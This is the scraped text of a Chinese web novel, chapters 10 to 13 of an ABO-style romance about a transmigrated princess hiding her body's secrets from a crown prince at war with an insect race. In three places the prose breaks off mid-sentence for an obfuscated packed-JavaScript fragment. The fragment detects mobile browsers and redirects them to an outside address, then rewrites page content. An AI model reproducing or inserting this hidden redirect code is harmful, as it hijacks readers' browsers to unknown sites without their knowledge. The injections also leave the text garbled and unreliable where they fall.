好吧,道理她都明白也能理解,但是她实在是无聊到要冒烟了…… 本来桑宁叙还计划找人给她带几本关于虫族介绍的书,却没想到第二天就收到了一堆狗血言情小说。 不是,她想了解的是虫族,不是这什么情情爱爱的霸总和逃婚小娇妻! “抱歉,太子妃殿下,所有关于虫族的资料都只有军队内部人员才能参考。” 被元宿冷漠拒绝的桑宁叙听完他的解释后倒是生出了点异样的情绪,仔细想想,的确如此,当时和穆沉凛订婚后要不是王后陛下主动提起,她几乎不记得现在的帝国正遭受着虫族的侵扰。在家中父亲的书柜里也没有看见任何一本跟虫族有关的书籍,印象中的网络和皇室报道中也很少涉及虫族,只是偶尔在穆沉凛又被颁发了什么奖项功勋时,作为恭喜祝贺,媒体才会简单提及,但大面积的报道都放在了太子殿下身上。 奇怪,帝国居然如此严密地管控着虫族的一切信息吗? 嗅到一丝不对劲气味的桑宁叙没有再为难元宿,把人放走后她暂时把疑惑埋在了心底,准备等下次穆沉凛过来时打探一番,看能不能搜集到什么有用的信息。 毕竟,那天的梦还是会让她时常感到不安…… 啧! 桑宁叙烦躁地揉乱了自己的长发,略带一丝不爽地摸了摸已经被阻隔贴封上的腺体。 好烦,她要是Alpha就好了,什么狗屁虫族,来一个她杀一个,哪里用得着像现在这样战战兢兢地找人庇护。 不知道她还有没有可能重新分化为Alpha呢? 陷入沉思的桑宁叙被手腕处突如其来的急促铃声吵醒,她面无表情地抬起手,屏幕上正显示着一个熟悉又陌生的名字。 贺书愉。 意识到医生竟然主动联系自己,桑宁叙立刻一个鲤鱼打挺从床上翻坐起来,快速清了清喉咙点击了接听键:“贺医生?” “太子妃殿下。”男人冰凉中却带着一丝温和的声音从手环中传来,一向对医生这个职业抱有极大敬畏心的桑宁叙却并没有感到放松,她正像炸毛的兔子一样等待着这位军医长即将到来的宣判。 不会是他们发现她没有嗅觉了吧? 还是他们发现她标记失败了? 不管哪一点,她都不怀疑这帮人绝对会毫不犹豫地把她绑回实验室,然后对她进行一系列稀奇古怪的邪恶实验。 停停停,不能再胡思乱想了,被自己的脑补吓得差点不小心手滑挂掉通话的桑宁叙懊恼地捶了捶脑袋。 “您休息的还好吗?” 开始只是客套的问候。 “挺好的,谢谢关心。” “不客气,是我应该做的。” 话落,男人像是故意顿了几秒,在桑宁叙焦急地等待中,这位手持鱼线的钓鱼者,正耐心地等候着鱼儿上钩。 “如果方便的话,十五分钟后我去找您可以吗?有些关于太子殿下的事情想和您聊聊。” 噢,看来又是关于穆沉凛信息素暴乱的问题了。 确定这人并不是来质问研究自己的,心下舒了一口长气的桑宁叙很快就对着手环那头的男人答应下来。 “殿下,贺书愉正在去见太子妃的路上。” 收到消息的穆沉凛面不改色地关掉通讯设备,思考片刻后,他还是对着自己的几位亲信做了一个暂停的手势,随着会议解散,男人也立即回到办公室打开了连接桑宁叙房间的监控设备。 为了保证星舰的绝对安全,除厕所以外的所有房间都配有电子监控,只不过平时并不会时刻受人审查,并且为最大程度保证隐私,星舰上仅太子殿下拥有能随意查看监控的最高权限,其余人唯有得到太子殿下的亲自批准,才被允许调出具体到时间、地点、个人的简短录像。 尽管星舰上的一切都牢牢掌握在穆沉凛手中,但对于自己这位略微不同的太子妃,不知为何他总是放心不下,虽然标记后明明是他自己忍着思念一直不肯去见她,但…… 他只是担心太子妃的安危罢了。 嘴硬的太子殿下在心里默默给自己找了个合适的借口,随即便迫不及待地调出了画面。 “殿下最近有感觉任何不舒服的地方吗,特别是腺体周围?” 桑宁叙看着眼前这位彬彬有礼又绅士优雅的男人放下茶杯,好以整暇又像是真的非常关心她一样问道,但明明,这人的眼里满是冷漠与无情。 “没有。” 莫名其妙的,桑宁叙总觉得这人周围的气场让她极不舒服,虽然贺医生和往常一样把自己打理的井井有条,甚至连每一根头发丝的位置都像是精心设计后摆放好的,但她却在见面的第一时间就察觉到来人的不怀好意,以及隐藏在男人皮囊底下的,那无法掩饰的浓重恶意。 这人搞毛线啊? 不知道自己哪里得罪过这位医生的桑宁叙压下心中的疑惑和不满,决定淡定地应付完这次对话,以后还是尽量避开他……吧。 也许应该和穆沉凛商量一下,关于治疗方案他自己决定就好,还是少让她和这位古怪的医生接触了。 况且,自己心里揣着不为人知的秘密,她也总怕自己一不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817810|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心就被这位看穿了心思,又或者被他发现什么马脚。 身体报告的数据桑宁叙自己也看过,虽然上面大量的专有名词她几乎全都无法理解,但当她在最终的检测结果上看见自己的身体指标竟然被判定为“健康”和“正常”时,即使心中再困惑,却也还是庆幸自己最大的秘密没有得以暴露。 对此,桑宁叙日思夜想后得出的解释是:他们这里的设备无法准确检测她这具来自异世的身体,所以测量数据不准确什么的,也就可以理解了。 不过,就是不知道是不是因为同样的原因,导致她也无法被Alpha标记呢? 虽然上次对于整个标记过程的细节她都记忆如深,同时也万分确定当时穆沉凛的确咬破了她的腺体注入了他的信息素,但是…… 第二天睡到傍晚才勉强爬下床,还是为了去上厕所的桑宁叙虽然感受到了身下传来的酸胀,可当她洗手时,脑中却忽然想起以前在书中读到过的,Omega被永久标记后腺体上会出现一个确凿的疤痕。 向来注重皮肤保养的桑宁叙当然不愿意自己的后脖上出现一个丑陋的疤,不过她也的确很好奇男人到底是怎么咬的自己,于是忍着倦意索性从洗手池的侧面扒拉出来一面特意为人们查看腺体而设计的小镜子。 本以为自己会看到两个难看且黑黢黢的窟窿,做好心里准备的桑宁叙紧闭着双眼,在心里默默倒数五秒后,才慢吞吞地睁开了双眼。 纳尼? 她怎么没有咬痕??? 目瞪口呆的女孩呆呆盯着镜子反应了半分钟,随后她又眯起眼睛凑近了镜子仔细观察,还不信邪地伸出右手一遍又一遍地抚摸着自己那白皙小巧的腺体。 不是,这这这……怎么跟之前一样,一点痕迹都看不出来啊?! 一度怀疑自己是不是还在做梦的桑宁叙甚至大力拍打了几下双颊,还觉得不靠谱的她又打开冷水洗了把脸,待她忍不住狠狠掐了一把胳膊后,看着镜子里痛到龇牙咧嘴的熟悉面孔时,才敢终于确定自己活在现实世界。 所以现在的情况是,她,一个Omega,被顶A咬了之后,居然没被标记成功。 这是何等的……幸运啊! 哈哈哈哈哈哈哈哈哈哈哈! 喜不自禁到仰头大笑的桑宁叙双手叉腰,看着镜子里笑得合不拢嘴的自己,简直兴奋到了极点。 厉害啊厉害,她可实在是太厉害了! 闻不到所有人的信息素不会被影响,现在居然连绝对匹配对象都无法标记她,老天还是待她不薄,没让她成为一个必须仰仗自己Alpha才能生存下去的Omega。 正在厕所里激动到转圈圈的桑宁叙看着身边光滑的瓷砖,突然间,一道念头如闪电般飞速划过大脑落在了她的眼前,也迫停她下了步伐。 不不不,等会儿,先别得意的太早。 如果她的腺体上没有被永久标记的咬痕,是不是也意味着…… 刚才还处在巨大狂喜和震惊中的桑宁叙此刻立即情绪倒转,她只觉得后背升起了一层又一层凉意,鸡皮疙瘩也瞬间出现在裸露在外的皮肤上。 桑宁叙此时只觉得天旋地转、天翻地覆、自己恐要命不久矣。 完蛋! 穆沉凛肯定也发现她是个没有被成功标记的Omega! 11. 第 11 章 “太子妃殿下?” 不知不觉又沉浸在自己世界中的桑宁叙被男人略带疑问的嗓音唤回,当她意识到在客人面自顾自地走神后,却也只是装作不好意思地对贺书愉笑了笑:“您之前是说,有关太子殿下的事情要讨论?” 恨不得立刻速战速决的桑宁叙把话题直接跳到了重点。 “……是的。”提前准备好草稿,正想跟女孩拉近关系的贺书愉内心很是不满这位太子妃的不识趣,想他一路爬到今天的位置,还从未曾放下身段主动对他人示好过,要不是为了顺利完成计划,他才不屑于跟这个什么都不懂的Omega浪费口舌。 果然,能被穆沉凛看中的人也和那个男人一样,都让他不喜。 就这样,两个看对方不顺眼的人在诡异的氛围中,各自心怀鬼胎却假装一片和谐,被迫完成了一场只属于他们之间的秘密会谈。 当晚,正窝在柔软沙发上读书的桑宁叙十分稀奇的迎来了今天第二位到访的客人。 看着男人熟练地脱下外套,还给自己倒了杯热水后才款款坐下,在他冰冷晦涩的目光中,桑宁叙也不得不抬起了她那就快要埋进书本的脑袋。 这一天终究还是来了…… 七天的缓冲期结束,即使她再不想面对这个和自己发生关系的“丈夫”,但在这艘偌大的星舰上,他却是唯一能决定她命运的人。 房间内一室静寞,两个不善言辞的人面面相觑,不知到底谁先愿意开口打破这尴尬的氛围。 “咳,身体……还好吗?”早就忍不住的太子殿下率先发问。 话出口,他看着对面那个东瞟瞟西瞅瞅,就是不敢和自己对视的女孩,不由自主地微低下头,掩去了嘴角即将溢出的笑意。 “挺好的,哈哈。” 哈什么哈,桑宁叙!这下显得你更像个傻子了! 女孩懊悔的神情并没有逃过穆沉凛的视线,太子殿下善解人意地并没有戳穿她的不自在,而是迅速扫过这个暂时属于她的小领地。 空旷、单调、毫无特色。 跟其余人的房间一样,除了面积大点之外,所有的生活用品均由星舰统一分配,向来认为房间东西越少越好的穆沉凛看着这个在他安排下标准的军用房间后,第一次怀疑起了自己的眼光。 不知为何,他总觉得自己的Omega应该住在一个更……温馨舒适的暖色调房间,而不是像现在这样,冰凉又可怜。 已经被男人扣上“可怜兮兮”帽子的桑宁叙还无所知觉地傻盯着地板发呆。 他的目光很快转回她的身上,可当落在手中那本名为《快逃!邪佞王子囚禁我》的奇葩狗血小说时,仿佛自己被点到的穆沉凛突然浑身不自然起来。 他确实是听元宿提起过太子妃想要些打发时间的读物,于是百忙之中随便在网络上搜索了年度必读书籍推荐的穆沉凛,倒也没有注意他点进的是某个不知名团体为广大Omega群体组建的粉色读物论坛。 拿到书单的元宿虽然惊讶于太子殿下的选择,但考虑到太子妃的实际年龄,家有小侄女的元副官便很快心下了然,招呼手下订购了一批据说最近在网上“爆火”的言情读物。 被这直白又震撼的书名惊到的太子殿下忍不住多看了两眼封皮上那花里胡哨的字体,而被他目光烫到手的桑宁叙也很快意识到了不妥,恰巧两人的视线在空中交汇,片刻后,一个手忙脚乱地赶紧把书丢到了一边,另一个则双颊微红、若无其事地继续正襟危坐,像是什么都没发生一样。 “听元宿说,你想了解虫族?” 果然,被虫族两个字吸引注意力的桑宁叙也顾不上刚才的尴尬和不好意思,立刻双目炯炯一脸期待地看向男人,脑袋像小鸡啄米一样不停地点着:“是!” “为什么?” “据我所知,大部分的Omega都对虫族天生有着极其强烈的排斥,很少会有人主动想了解这类……” “令她们感到恶心的生物。” 随着穆沉凛的提问,原本还兴致高涨的桑宁叙立即意识到了不对。 不是,也没人给她提示过Omega生来对虫族厌恶啊! 完了完了,她是不是要露馅了! “不必紧张,我知道你一直对军事学院很感兴趣,因此想了解虫族倒也不奇怪。” 像是看透了她的不安和焦虑,男人忽然换了个更为放松的姿势靠在沙发背上,原本眉宇间的戾气和肃杀也渐渐平淡下去,整个人周身环绕着冷峻和严肃的氛围逐渐趋于平和安全。 见对面女孩的神色稍微舒缓了一些,他才又话锋一转,不紧不慢地开口:“但是,所有关于虫族的资料都由帝国军队统一保管,除非你正式加入军事学院,否则,一切信息都无法对外开放。” “不过,虽然理论上如此,但……” 话里有话的穆沉凛故意停顿了几秒,他也如愿看到了女孩迫不及待地激动表情。 “作为帝国军队的总指挥官,你可以直接问我。” 真好猜。 太子殿下非常满意眼前的画面,Omega对自己的依赖和信任让Alpha产生了莫大的骄傲和自满,被命定之番需要的兴奋冲散了男人这段时日过度的思念,连带着,就连无法标记的不解和烦躁仿佛也被自动缓解。 哇塞,原来这就是小说里所谓的,抱大腿的好处嘛? 获得意外之喜的桑宁叙此时也肉眼可见的高兴起来,被关了长达一周的颓然和沮丧瞬间烟消云散,她已经等不及有一大堆问题要脱口而出了。 “宁叙。” “啊?” 突然被叫到名字的女孩短暂地愣怔了一下,这还是她第一次被太子殿下直呼大名,于是立即条件反射般中气十足地回道。 “不论怎样,我希望你记住一点。” “我们现在所处的位置是帝星最危险的边缘地带,也是人们口中常说的‘前哨’,你知道这意味着什么?” 被男人面色凝重地紧盯着,桑宁叙也后知后觉地意识到这里其实并不是她印象中那个四周全是Alpha军人,安全感满满的地方。 是了,她现在并不是受帝国保护的普通群众,而是…… 跟这艘星舰上的所有Alpha一样,时刻保护帝国安危的一份子。 穆沉凛并没有刻意等待她的答复,而是目光沉沉地继续说了下去:“这意味着,帝国的安危完全由我们掌控。一旦前哨失守,警戒线被冲破,到时候,源源不断地虫族将会倾巢而出,彻底吞噬帝星。” “因此我需要每个待在星舰上的人,都必须无条件听命于我,同时,绝不隐瞒任何有可能会危害帝国的信息。” “这艘星舰上的每个人,来之前都进行了最严格仔细的身体及背景检查,任何存在潜在风险的对象即使再优秀,也会被毫不犹豫地拒绝。” 穆沉凛的声音越来越低,男人不知何时早已移开了时刻注视着女孩的双眼,他半垂着眼眸偏过头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817811|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓密修长的睫毛让心脏咚咚直跳的桑宁叙无法看清情绪。 “可以说,我与这里的每个人都互相了解且彼此信任,但唯独,现在只有一个人我还不能确定……” 随着他缓缓抬头,原本温和的视线中显露出些许刺骨的冷凝与寒意,下意识屏住呼吸的桑宁叙也终于迎来了那个让她日夜担忧的审判,听见了那句让她不知如何作答的问询。 “所以,我的太子妃殿下。” “你觉得,对于你,还有什么是我应该了解的吗?” 心脏就差跳到嗓子眼,连吞口水都费劲的桑宁叙只觉得自己面前有三个字不停地盘寻着,扰得她头昏眼花。 说?不说? 所以到底要不要说! 虽然她的确隐瞒了自己身体上的秘密,但是……也不至于因此就会引来虫族,然后再度挑起两方战乱吧? 她一个Omega,也不能这么牛逼哄哄吧,实在是太没道理。 可是,万一呢? 万一到时候真的因为自己而导致帝国战败,那她不就成了全人民的憎恶对象,还是性质最最恶劣的那种,害得他们国破家亡,就算死了也会被人翻出来反复鞭尸的大恶人! 嘶…… 倒吸一口凉气的桑宁叙只觉得顿时心如死灰。 有百分之五十的概率她会成为那个被全帝国人唾弃的叛徒走狗,还有百分之五十的概率她会成为被实验对象。 选吧,现在摆在她面前的无非就这两条路。 你说说,要是当时没嫁给这位太子殿下,哪里会惹出这么多的破事! 然而,抱怨也是最无用的。 最终,理智占据上风的桑宁叙还是决定老老实实坦白,毕竟,现在的太子殿下还需要她信息素的治疗,应该……暂时……不会这么快就把她送去给解剖了吧…… 况且,自打上了星舰后就每日每夜忧思不得的桑宁叙也实在没心情再欺瞒下去,心里的这块石头还没被别人发现,就已经先要压垮她自己了。 反正到时候是死是活,也不过是这人一句话的事。 或许等她真的死了,就能再回到原本的世界。 也挺好,就这么着吧。 理清头绪的桑宁叙深深吐出一口气,她有些紧张的看向那个刚才说完话就目不转睛凝视着自己的男人,狠狠眨了两下干涩的眼睛,慢慢对上了男人漆黑的瞳孔。 她知道,他正在耐心等待着自己的答复。 说吧说吧,说完拉到! “其实,我……” “滴滴——” 急促地报警声突然响彻整个房间,暗红危险的报警器在房间顶部一闪一闪地提醒着星舰内部的所有人,平静祥和的夜晚已然消逝,现在他们即将面对的,是新一波虫族猛烈的攻击。 “待在原地,直到解除警报前哪都不许去。” 第一时间掏出手环联络部下的穆沉凛如深夜中最矫捷的猎豹一般从沙发上一跃而起,在他即将反锁大门离开前,男人面色冷峻地嘱咐完不知所措的桑宁叙后,刚走出去的脚步却再度退回,在女孩担忧且紧张的神情中,这个从不屑于背负任何承诺的太子殿下似是为了安抚她的恐慌,第一次认真许下了诺言。 “等我回来。”穆沉凛死死盯着桑宁叙一字一句地说出口。 随后,还没等她反应,大门就已经被砰的关上,空旷的房间内只剩她一人被笼罩在猩红又可怖的灯光中,等待着悬而未决明天的到来。 12. 第 12 章 “殿下,这一次的攻击似乎比我们预计的还要轻松。” “是啊殿下,元副官说得没错,刚才我都还没使全力呢,那帮臭虫子居然就连滚带爬地撤退了,看来最新研发的训练方法非常不错嘛……” 眼圆脸圆皮肤略黑的青年露出一个有些得意的欠揍笑容,兴致勃勃地跟在两位指挥官身后,喋喋不休地絮叨着自己在战场上的潇洒英姿。 “江止!” 眼看这人又要无所顾忌地在殿下面前大放厥词,元宿略带头疼地对着这位年纪不大但战力十足的青年发号指令:“去整顿队伍,统计伤员,别在这浪费时间。” “收到!” 被元宿生硬打断的江止倒是没有任何不满,得令的青年丝毫没有战后的疲惫与恐惧,像是早已习惯这种随时可能丧命的生活,只见他立即马不停蹄地冲向相反的方向,活力十足地朝休息舱跑去。 待终于清走了这位隶属于太子殿下先锋小队的副队长,元宿才快步跟上穆沉凛,随即忧心忡忡地看向男人失神的双眸。 “殿下……” “元宿,站好岗,守好星舰。” 已经在爆发边缘游走的穆沉凛强忍着身体的不适,迅速交待了几句,才在副官担忧的目光中步履匆匆地向星舰深处走去。 一路上,已经提前接到通知的医务人员们都已在休息舱准备就绪,星舰内部除了寥寥几个执勤的士兵之外,走廊内空空荡荡,再无他人。 腺体的烧灼和剧痛让他快要失控,刚才不久前就注射过一剂普通抑制剂的穆沉凛却丝毫没有任何信息素被压制的感觉,相反,游走在身体中的那股能量和急切需要宣泄的信息素已经不允许他继续等待下去。 就快到了…… 为了缓解疼痛转移注意力,穆沉凛强制自己重启大脑,一遍遍在脑海中推演分析着刚刚结束这场袭击的不同寻常之处。 江止说得没错,向来喜欢玩拉锯战的虫族今天一改往日的作风,的确简单又轻易地就放过了他们。 只是,这是他第二次在战场上感受到那股明显特殊的腐香味。 味道来源于一个不知从何处窜出、被他来不及粉碎尸体的雄虫,在极近距离下,身体四分五裂的虫子体内突然爆发出一股异常浓烈的香味,同时伴随而来的,则是那股让他熟悉的腐烂恶臭之味。 从接触到那股味道开始,穆沉凛就渐渐意识到自己的信息素正以一个急速上涨的爆发性趋势不断膨胀,提前预测到情况不对的男人迅速通知了手下,顺便趁着信息素暴动前的阶段狂虐了一波周围蠢蠢欲动的虫子。 本以为还要恶战许久的穆沉凛勉强压下心底的不耐,面无表情地狙掉一只又一只不知死活,上前讨死的虫类。 终于在元宿等人赶到后,看到的就是在包围中已然杀红了双眼,几乎失去人类感情的杀虫机器。 作为少有能在穆沉凛信息素攻击下坚持十分钟左右的嚣鹰战队,战士们很快就接替了太子殿下的位置,与此同时,元宿也手脚利索地拔出早已准备好的抑制剂,在穆沉凛冰冷的视线中,忍住惧意还是将针头递到了男人面前。 咣当—— 大门被谁一脚踹开,正窝在被子里发呆的桑宁叙被外间天翻地动的响声吓了一跳,她缩着身子一点一点缓慢蹭到了墙边,警惕地盯着那扇随时都有可能被突破的房门。 什么情况,虫族上来了吗? 不会吧,穆沉凛不可能这么不靠谱吧? 靠,她现在应该怎么办,要冲出去吗? 桑宁叙的脑内开始急速暴风旋转,同时,她也在四处搜寻着,想尽快找出一件勉强能当做武器的家伙。 只可惜,除了床头柜上摆放的一个透明玻璃杯外,她并没有发现任何能当做击打类工具使用的东西。 老天奶,她到底为什么要把书丢在外间的桌子上啊! 想想那硬质封皮,还有那坚硬的书角,就算当投掷的物品,大概率也能一砸一个准。 暗骂自己愚蠢的桑宁叙还在到处乱瞟,因此也就没有注意到那个在悄无声息间,缓缓转动的门把手。 啪—— 随着大门被推开,毫无防备的桑宁叙差点咬到自己的舌头。 她紧张兮兮地朝门口看去,男人高大挺拔的身影立刻占据了她的全部视线。 确认来人不是什么奇怪的东西后,并没有意识到太子殿下已经不正常的桑宁叙还放松地喘了口气。 只可惜,正准备询问一下战事情况的桑宁叙还没来得及开口,就觉一阵天旋地转,然后被轻松地从被子里提起后放在了某人身上。 自从进入太子妃领地的穆沉凛在第一时间就自愿放弃了控制,任由自己那恐怖的信息素如毒物一般,一股脑地霸占这个并不属于他的领域。 几乎是在接触到男人滚烫身躯的下一秒,桑宁叙就立即了解现在的情况。 女孩飞快地一把撕下脖子上的阻隔贴,熟悉的酸痛感如约而至,虽然身体立马变得软弱又无力,但好歹不像上次那样,欲望来势汹汹到让她几乎无法克制。 这次,似乎比上次要好上许多。 被抱在怀里仔细嗅着的桑宁叙双手搂紧男人精瘦的腰肢,混混沌沌地想着。 看来又要被咬了…… 然而很久之后,意料中的酥麻与疼痛却迟迟没有出现,在穆沉凛温暖怀抱中,意识模糊的女孩不自觉地蹭着他的侧脸,只觉得天翻地覆的困意朝自己席而来。 穆沉凛走了三天,虽然只是短短三天,但一直处在高度警觉中,因为性命而担惊受怕的桑宁叙也不得不承认,他们所处的位置,再也不是那个她想象中毫无纷争、平安自由的帝国首都,而是一个随时可能丧命的危险地带。 帝星能平安地存活到现在不被占领,是这艘星舰上所有人努力的成果。 她也绝对不想,让这群人浴血拼杀保卫家园后,眼睁睁看着自己的母星沦陷。 所以,等穆沉凛回来,她一定要和他坦诚布公地交谈一番,把所有事情都告诉他。 毕竟,这里也算是她的第二个家了。 他该咬她的。 应该狠狠地刺穿怀中人的皮肤,然后不顾她的挣扎,任由大股大股自己的信息素注入她的体内,让她浑身充斥着自己刺鼻的味道,让她只能属于自己。 这只是正常的标记流程,不是吗? 可是为什么,他却隐约察觉到一点她的不情愿? 难道连她也嫌弃自己的味道吗? 没有,不嫌弃。 只是……单纯不喜欢被咬脖子而已。 百倍浓烈的信息素此时占领了房间中每一寸空气,它们紧密缠绕着彼此,逐渐融化更多的冰面在冰醋酸锲而不舍的努力下,一点一点放纵它向湖底钻去。 越朝深处而去,液体混合着沙石的味道更加明显,属于矿物质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819585|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和岩石的坚硬与冷感瞬间扑面而来,冲散了那若有若无来自雪和风的清甜。 她的味道,似乎每一次都有一点点细微的不同。 但却依然,一如既往的让他着迷。 短暂共感的二人沉浸在彼此的怀抱和体温中,连日来疲惫与焦躁的情绪逐渐褪去,久违感到放松的穆沉凛浸泡在对方信息素中彻底卸下防备与警惕,原本在身体中暴走的信息素也在她的引导下变得平稳沉静起来,上次标记后一直不能安眠的太子殿下受桑宁叙的影响也开始犯困,二人交叠的身体不知不觉间随着男人的后仰而缓缓倒在柔软的大床上。 穆沉凛紧贴着桑宁叙的后颈,一呼一吸间均是女孩身上熟悉美好的气味,神经和大脑明明兴奋到了极点,但身体却不断诉说着疲倦。 睡吧,睡一觉就好了。 极端暴戾的冰醋酸此时正乖巧地躺在由冰湖编织的柔软摇篮中,顺着淡淡的水波一同摇晃,没有反抗、没有斗争、没有你死我活的血腥战场,有的只是无限自然的清冷空气与空旷未知的古老世界,所有属于她的秘密,都等待着他的探寻。 已经很久没有真正休息放松过的穆沉凛躺在这样一片宁静冷寂的湖水中,仿佛彻底和外界切断了联系,再也听不见任何同伴的呼救、虫类的震鸣、王公贵族的窃窃私语、甚至连同帝后的担忧也一并消失,纷扰的世界终于恢复到如最初那般干净单纯,只剩偶尔荡漾的湖水和微弱的风声在耳边划过,陪伴着他一同安然睡去。 桑宁叙醒来时,首先映入眼帘的是男人锋利的下颌和雪白修长的脖颈,以及那一点无法忽视的微凸喉结,正随着他起伏的呼吸偶尔滚动。 他们的身体紧贴着彼此没有一丝缝隙,二人的手十指紧扣放在交错的胸口处,桑宁叙能感觉到自己正枕着男人的另一只手臂,因为她的右肩上堪堪搭着一只明显不属于自己的手。 终于意识到二人过于亲密的姿势后,独自提前醒来的女孩呆呆看了一会儿男人英俊帅气的睡颜,还是没忍住闹了个大红脸。 那啥,虽然他们该做的都做了,但这还是她第一次从一个大男人怀中醒来,之前两次,这人可都是自顾自的睡醒就离开,因此除了身体上确切的感受和证明之外,桑宁叙其实一直没什么自己有男人的实感。 更何况,他们之所以发生关系还不是为了帮助太子殿下早日康复,于是下意识就把自己当药罐的桑宁叙更是做不出什么羞涩激烈的少女反应。 但现在嘛…… 男人平稳的呼吸声在耳边不断响起,鼻腔内呼出的热气偶尔会浅浅打在她的额头,长时间冰凉的手脚也因为他的体温而变得又暖又热,之前淤堵的血液仿佛终于活散开来,顺利又畅通的游走在身体各处。 尽管她依然什么都闻不见,但腺体处时不时传来的,像脱水海绵吸饱后的餍足感让她依然能感应到他们的信息素依然在彼此亲近,随之而来的,是身体上无法言喻的满足和畅快。 说是给穆沉凛治病,但其实,她也享受了很多标记过程中的快感不是吗? 除了咬脖子。 上次那种惊心动魄的疼痛与爽意夹杂在一起出现的回忆再度涌上心头,只是光想想就忍不住抵抗的桑宁叙并没有意识到自己的情绪较之前已经开始激烈的起伏。 与此同时,被惊扰的冰醋酸主人也不得不幽幽转醒,目光晦暗、一动不动地盯着怀里这个还完全沉浸在被咬回忆中的女子。 13. 第 13 章 桑宁叙对待被咬这件事的看法,倒也说不上厌恶,只不过,那种无法言明的激进感受和触觉实在是让她接受无能。 更重要的是,作为被咬对象,她只是不明白为什么帝国人进化到今天,还没有摆脱需要像兽类一样发情标记的过程。 因为信息素而离不开对方的喜欢和爱,就是他们口中真正的爱吗?又或者,其实是为了掩盖无法抵抗的生理反应而故意编造的借口呢? 难道就没有哪一对100%匹配的AO,实则彼此厌恶的例子吗? “这倒是个有趣的想法。” “是吧?” “据我所知,帝国此前并没有任何一例绝对匹配却相互不喜的情况发生。更准确一点,之前的帝国,也从没有出现绝对匹配的案例。” “所以……我亲爱的太子妃殿下,我们是帝国有史以来第一对完全匹配的夫妻。” 等等等等等! 谁在跟她说话?! 终于反应过来的桑宁叙肉眼可见的在穆沉凛怀中红温起来,太子殿下饶有兴味地观察着女孩的反应,只觉得有趣极了。 他们确实从没如此亲近的聊过天。 “哈,哈,早啊……” 恨不得钻进被子就此消失的桑宁叙飞快地瞟了一眼身边那位不知何时醒来的男人,她现在只觉得自己被牵着的双手滚烫,脖子僵硬,整个人都如同被定住了一般,像个僵硬的冰棒倒在床上一动不动。 那什么,先随便打个哈哈糊弄过去吧…… 只可惜,太子殿下这次却不愿轻易放过她。也许是为了弥补自己昨天没有标记的失落,现在的穆沉凛只想变着法子好好逗她一逗。 “不早了,马上就到该睡觉的时间了。” 什么什么,这才刚起床怎么又要睡! “既然太子妃不想睡,那我们不如……” 蠢蠢欲动的信息素在空中激烈地晃动,伴随着男人幽深的笑意,立即察觉不对的桑宁叙飞速从床头摸出一张备用的阻隔贴,毫不犹豫地拍在了自己的腺体上。 只不过,手忙脚乱中的桑宁叙忘记了撕掉阻隔贴上最重要的那层透明薄膜,因此她现在贴着的,相当于是一张对伤口愈合毫无作用的过期创可贴。 哈,管不了太子殿下,她难道还管不了自己吗? “噗嗤。” 瞪着杏仁大眼的女孩警惕地看向半躺在身边的危险男人,却被太子殿下少见的笑颜晃了眼。 她倒是头一回见殿下笑。 往日里总让人觉得难以接近的青年脱去军装后,凌厉却绮丽精致的五官完全展露,小脸小头,宽额浓眉,高挺立体的眉弓与鼻梁让他看起来就像是从古典画中走出的人物,恰到好处不薄不厚的淡唇,刚睡醒后青涩的胡茬微微冒头,却让他整个人看上去年轻又沉稳。最重要的是,那双含着些许黠促笑意、波光粼粼的墨色双眼正目不转睛地温柔凝视着她。 他不再是那个高位上顶天立地的嗜血指挥官,而是只有她才能轻易靠近亲近的,帝国的顺位继承人,她的丈夫,以及,她的命定之番。 原来她真的嫁了一个大帅哥哎…… 在从前世界就极其看重男人长相的桑宁叙,一直以来万分坚信那句治理名言:男人要是连脸都不好看,还要来何用? 至死也要高举颜控大旗的桑宁叙虽然遭到不少朋友的吐槽和暴揍,但如果让她放弃评估自己未来对象的容貌,而是和其他人一样正儿八经地考虑对方人品、性格、家世、背景再决定婚否。 那么,不好意思,极端颜控桑小姐只有两个字恭候:不送,滚蛋。 搞笑嘛,对着一张帅脸,她半死不活的工作都能跟开足了马达一样有动力好不好! 更别提如果日日夜夜和一个超级无敌大帅哥生活在一起,那还有什么放不下、过不下去的! 就是光欣赏那人的脸,都够她满地流口水傻乐一整天了。 思绪发散到天际的桑宁叙没注意到身边那人越来越古怪的脸色,依然美滋滋地在脑中各式幻想着。 看来,她很喜欢自己的容貌啊…… 向来只崇尚个人能力但却从不关注外表的太子殿下狐疑地思索着桑宁叙想法的含义,在这个以信息素为主的时代,比起完美漂亮的外表,世人更注重的还是每个人信息素的味道、质量、浓度和纯度。 